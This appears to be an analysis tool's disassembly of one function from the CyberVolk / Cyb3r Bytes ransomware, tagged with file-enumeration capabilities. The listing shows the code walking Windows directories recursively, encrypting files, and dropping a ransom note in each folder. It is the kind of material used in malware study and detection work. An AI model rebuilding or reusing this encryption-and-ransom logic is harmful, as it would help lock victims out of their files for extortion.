Function at 0x41e940
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x16ac
call fcn.00416290
push ebx
push esi
push edi
push 0x1450
lea eax, [esp + 0x26c]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.00402330
mov eax, dword [0x424de8]
mov ecx, edi
mov dword [esp + 0x1c], eax
add esp, 0xc
mov ax, word [0x424dec]
mov word [esp + 0x14], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41e987
sub ecx, edx
sar ecx, 1
cmp ecx, 0x30c
ja 0x41ec66
push edi
lea eax, [esp + 0x26c]
push str._s.
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x26c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x41ec66
nop word [eax + eax]
lea ecx, [esp + 0x44]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41e9e7
sub ecx, edx
sar ecx, 1
cmp ecx, 0xff
ja 0x41ebc3
mov eax, dword [esp + 0x18]
cmp eax, 4
je 0x41ebc3
cmp eax, 0x10000
je 0x41ebc3
test al, 0x10
je 0x41eb0a
lea ecx, [esp + 0x12]
lea eax, [esp + 0x44]
nop word [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x41ea56
test dx, dx
je 0x41ea52
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x41ea56
add eax, 4
add ecx, 4
test dx, dx
jne 0x41ea30
xor eax, eax
jmp 0x41ea5b
sbb eax, eax
or eax, 1
test eax, eax
je 0x41ebc3
lea ecx, [esp + 0x10]
lea eax, [esp + 0x44]
nop dword [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x41ea96
test dx, dx
je 0x41ea92
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x41ea96
add eax, 4
add ecx, 4
test dx, dx
jne 0x41ea70
xor eax, eax
jmp 0x41ea9b
sbb eax, eax
or eax, 1
test eax, eax
je 0x41ebc3
xor eax, eax
push edi
mov word [esp + 0x26c], ax
lea eax, [esp + 0x26c]
push 0x30c
push eax
call fcn.004052c8
add esp, 0xc
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x26c]
push 0x30c
push eax
call fcn.004052c8
add esp, 0xc
lea eax, [esp + 0x268]
push 0x424dfc
push 0x30c
push eax
call fcn.004052c8
add esp, 0xc
lea ecx, [esp + 0x268]
mov edx, esi
call fcn.0041e940
jmp 0x41ebbb
xor eax, eax
push edi
mov word [esp + 0x26c], ax
lea eax, [esp + 0x26c]
push 0x30c
push eax
call fcn.004052c8
add esp, 0xc
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x26c]
push 0x30c
push eax
call fcn.004052c8
add esp, 0xc
lea eax, [esp + 0x268]
push 0x424b70
push eax
call fcn.00401cff
add esp, 8
test eax, eax
jne 0x41ebbb
lea eax, [esp + 0x268]
push str.CyberVolk_ReadMe.txt
push eax
call fcn.00401cff
add esp, 8
test eax, eax
jne 0x41ebbb
cmp si, 0x65
jne 0x41eba3
push ecx
lea ecx, [esp + 0x26c]
call fcn.004182e0
add esp, 4
lea eax, [esp + 0x268]
push eax
push str.Encrypting_File_:__s_n
call fcn.00401010
add esp, 8
jmp 0x41ebbb
cmp si, 0x64
jne 0x41ebbb
sub esp, 0x18
lea ecx, [esp + 0x280]
call fcn.00417d70
add esp, 0x18
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x41e9e0
push edi
mov word [esp + 0x26c], ax
lea eax, [esp + 0x26c]
push 0x30c
push eax
call fcn.004052c8
add esp, 0xc
lea eax, [esp + 0x268]
push str.CyberVolk_ReadMe.txt
push 0x30c
push eax
call fcn.004052c8
add esp, 0xc
lea eax, [esp + 0x268]
push 0x424e30
push eax
call fcn.004098bb
mov edi, eax
add esp, 8
test edi, edi
je 0x41ec5f
xor esi, esi
nop dword [eax]
cmp byte [esi + str.Greet_citizen_of_the_world._All_your_files_have_been_encrypted_by_Cyb3r_Bytes_ransomware._nDon], 0
lea ecx, [esi + str.Greet_citizen_of_the_world._All_your_files_have_been_encrypted_by_Cyb3r_Bytes_ransomware._nDon]
je 0x41ec56
push edi
push 1
push 1
push ecx
call fcn.004097cb
inc esi
add esp, 0x10
cmp esi, 0x800
jl 0x41ec30
push edi
call fcn.004094d6
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret